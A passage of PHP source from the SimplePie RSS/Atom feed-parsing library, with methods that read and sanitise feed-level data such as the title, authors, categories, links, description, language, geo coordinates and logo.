     *
     * When the 'permanent' mode is enabled, returns the original feed URL,
     * except in the case of an `HTTP 301 Moved Permanently` status response,
     * in which case the location of the first redirection is returned.
     *
     * When the 'permanent' mode is disabled (default),
     * may or may not be different from the URL passed to {@see set_feed_url()},
     * depending on whether auto-discovery was used, and whether there were
     * any redirects along the way.
     *
     * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.)
     * @todo Support <itunes:new-feed-url>
     * @todo Also, |atom:link|@rel=self
     * @param bool $permanent Permanent mode to return only the original URL or the first redirection
     * iff it is a 301 redirection
     * @return string|null
     */
    public function subscribe_url($permanent = false)
    {
        if ($permanent) {
            if ($this->permanent_url !== null) {
                // sanitize encodes ampersands which are required when used in a url.
                return str_replace(
                    '&amp;',
                    '&',
                    $this->sanitize(
                        $this->permanent_url,
                        self::CONSTRUCT_IRI
                    )
                );
            }
        } else {
            if ($this->feed_url !== null) {
                return str_replace(
                    '&amp;',
                    '&',
                    $this->sanitize(
                        $this->feed_url,
                        self::CONSTRUCT_IRI
                    )
                );
            }
        }
        return null;
    }

    /**
     * Get data for an feed-level element
     *
     * This method allows you to get access to ANY element/attribute that is a
     * sub-element of the opening feed tag.
     *
     * The return value is an indexed array of elements matching the given
     * namespace and tag name. Each element has `attribs`, `data` and `child`
     * subkeys. For `attribs` and `child`, these contain namespace subkeys.
     * `attribs` then has one level of associative name => value data (where
     * `value` is a string) after the namespace. `child` has tag-indexed keys
     * after the namespace, each member of which is an indexed array matching
     * this same format.
     *
     * For example:
     * <pre>
     * // This is probably a bad example because we already support
     * // <media:content> natively, but it shows you how to parse through
     * // the nodes.
     * $group = $item->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group');
     * $content = $group[0]['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'];
     * $file = $content[0]['attribs']['']['url'];
     * echo $file;
     * </pre>
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array
     */
    public function get_feed_tags($namespace, $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_ATOM_10) {
            if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_ATOM_03) {
            if (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_RSS_RDF) {
            if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag];
            }
        }
        return null;
    }

    /**
     * Get data for an channel-level element
     *
     * This method allows you to get access to ANY element/attribute in the
     * channel/header section of the feed.
     *
     * See {@see SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array
     */
    public function get_channel_tags($namespace, $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_ATOM_ALL) {
            if ($return = $this->get_feed_tags($namespace, $tag)) {
                return $return;
            }
        }
        if ($type & self::TYPE_RSS_10) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_090) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_20, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        return null;
    }

    /**
     * Get data for an channel-level element
     *
     * This method allows you to get access to ANY element/attribute in the
     * image/logo section of the feed.
     *
     * See {@see SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array
     */
    public function get_image_tags($namespace, $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_RSS_10) {
            if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_090) {
            if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if ($image = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        return null;
    }

    /**
     * Get the base URL value from the feed
     *
     * Uses `<xml:base>` if available, otherwise uses the first link in the
     * feed, or failing that, the URL of the feed itself.
     *
     * @see get_link
     * @see subscribe_url
     *
     * @param array $element
     * @return string
     */
    public function get_base($element = [])
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        } elseif ($this->get_link() !== null) {
            return $this->get_link();
        }

        return $this->subscribe_url();
    }

    /**
     * Sanitize feed data
     *
     * @access private
     * @see \SimplePie\Sanitize::sanitize()
     * @param string $data Data to sanitize
     * @param int $type One of the \SimplePie\SimplePie::CONSTRUCT_* constants
     * @param string $base Base URL to resolve URLs against
     * @return string Sanitized data
     */
    public function sanitize($data, $type, $base = '')
    {
        try {
            return $this->sanitize->sanitize($data, $type, $base);
        } catch (\SimplePie\Exception $e) {
            if (!$this->enable_exceptions) {
                $this->error = $e->getMessage();
                $this->registry->call(Misc::class, 'error', [$this->error, E_USER_WARNING, $e->getFile(), $e->getLine()]);
                return '';
            }

            throw $e;
        }
    }

    /**
     * Get the title of the feed
     *
     * Uses `<atom:title>`, `<title>` or `<dc:title>`
     *
     * @since 1.0 (previously called `get_feed_title` since 0.8)
     * @return string|null
     */
    public function get_title()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get a category for the feed
     *
     * @since Unknown
     * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1
     * @return \SimplePie\Category|null
     */
    public function get_category($key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories for the feed
     *
     * Uses `<atom:category>`, `<category>` or `<dc:subject>`
     *
     * @since Unknown
     * @return array|null List of {@see \SimplePie\Category} objects
     */
    public function get_categories()
    {
        $categories = [];

        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'category') as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], self::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], self::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], self::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_RSS_20, 'category') as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], self::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], self::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * Get an author for the feed
     *
     * @since 1.1
     * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_author($key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * Get all authors for the feed
     *
     * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
     *
     * @since 1.1
     * @return array|null List of {@see \SimplePie\Author} objects
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        }

        return null;
    }

    /**
     * Get a contributor for the feed
     *
     * @since 1.1
     * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_contributor($key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * Get all contributors for the feed
     *
     * Uses `<atom:contributor>`
     *
     * @since 1.1
     * @return array|null List of {@see \SimplePie\Author} objects
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * Get a single link for the feed
     *
     * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
     * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1
     * @param string $rel The relationship of the link to return
     * @return string|null Link URL
     */
    public function get_link($key = 0, $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if (isset($links[$key])) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Get the permalink for the item
     *
     * Returns the first link available with a relationship of "alternate".
     * Identical to {@see get_link()} with key 0
     *
     * @see get_link
     * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
     * @internal Added for parity between the parent-level and the item/entry-level.
     * @return string|null Link URL
     */
    public function get_permalink()
    {
        return $this->get_link(0);
    }

    /**
     * Get all links for the feed
     *
     * Uses `<atom:link>` or `<link>`
     *
     * @since Beta 2
     * @param string $rel The relationship of links to return
     * @return array|null Links found for the feed (strings)
     */
    public function get_links($rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === self::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }

        if (isset($this->data['headers']['link'])) {
            $link_headers = $this->data['headers']['link'];
            if (is_array($link_headers)) {
                $link_headers = implode(',', $link_headers);
            }
            // https://datatracker.ietf.org/doc/html/rfc8288
            if (is_string($link_headers) &&
                preg_match_all('/<(?P<uri>[^>]+)>\s*;\s*rel\s*=\s*(?P<quote>"?)' . preg_quote($rel) . '(?P=quote)\s*(?=,|$)/i', $link_headers, $matches)) {
                return $matches['uri'];
            }
        }

        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    public function get_all_discovered_feeds()
    {
        return $this->all_discovered_feeds;
    }

    /**
     * Get the content for the item
     *
     * Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`,
     * `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>`
     *
     * @since 1.0 (previously called `get_feed_description()` since 0.8)
     * @return string|null
     */
    public function get_description()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'subtitle')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'tagline')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'summary')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'subtitle')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * Get the copyright info for the feed
     *
     * Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>`
     *
     * @since 1.0 (previously called `get_feed_copyright()` since 0.8)
     * @return string|null
     */
    public function get_copyright()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'copyright')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'copyright')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the language for the feed
     *
     * Uses `<language>`, `<dc:language>`, or @xml_lang
     *
     * @since 1.0 (previously called `get_feed_language()` since 0.8)
     * @return string|null
     */
    public function get_language()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['headers']['content-language'])) {
            return $this->sanitize($this->data['headers']['content-language'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the latitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:lat>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return string|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * Get the longitude coordinates for the feed
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return string|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * Get the feed logo's title
     *
     * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title.
     *
     * Uses `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_title()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the feed logo's URL
     *
     * RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to
     * have a "feed logo" URL. This points directly to the image itself.
     *
     * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
     * `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_url()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'image')) {
            return $this->sanitize($return[0]['attribs']['']['href'], self::CONSTRUCT_IRI);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'logo')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'icon')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }


    /**
     * Get the feed logo's link
     *
     * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This
     * points to a human-readable page that the image should link to.
     *
     * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
     * `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_link()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * Get the feed logo's link
     *
     * RSS 2.0 feeds are allowed to have a "feed logo" width.
     *
     * Uses `<image><width>` or defaults to 88 if no width is specified and
     * the feed is an RSS 2.0 feed.
     *
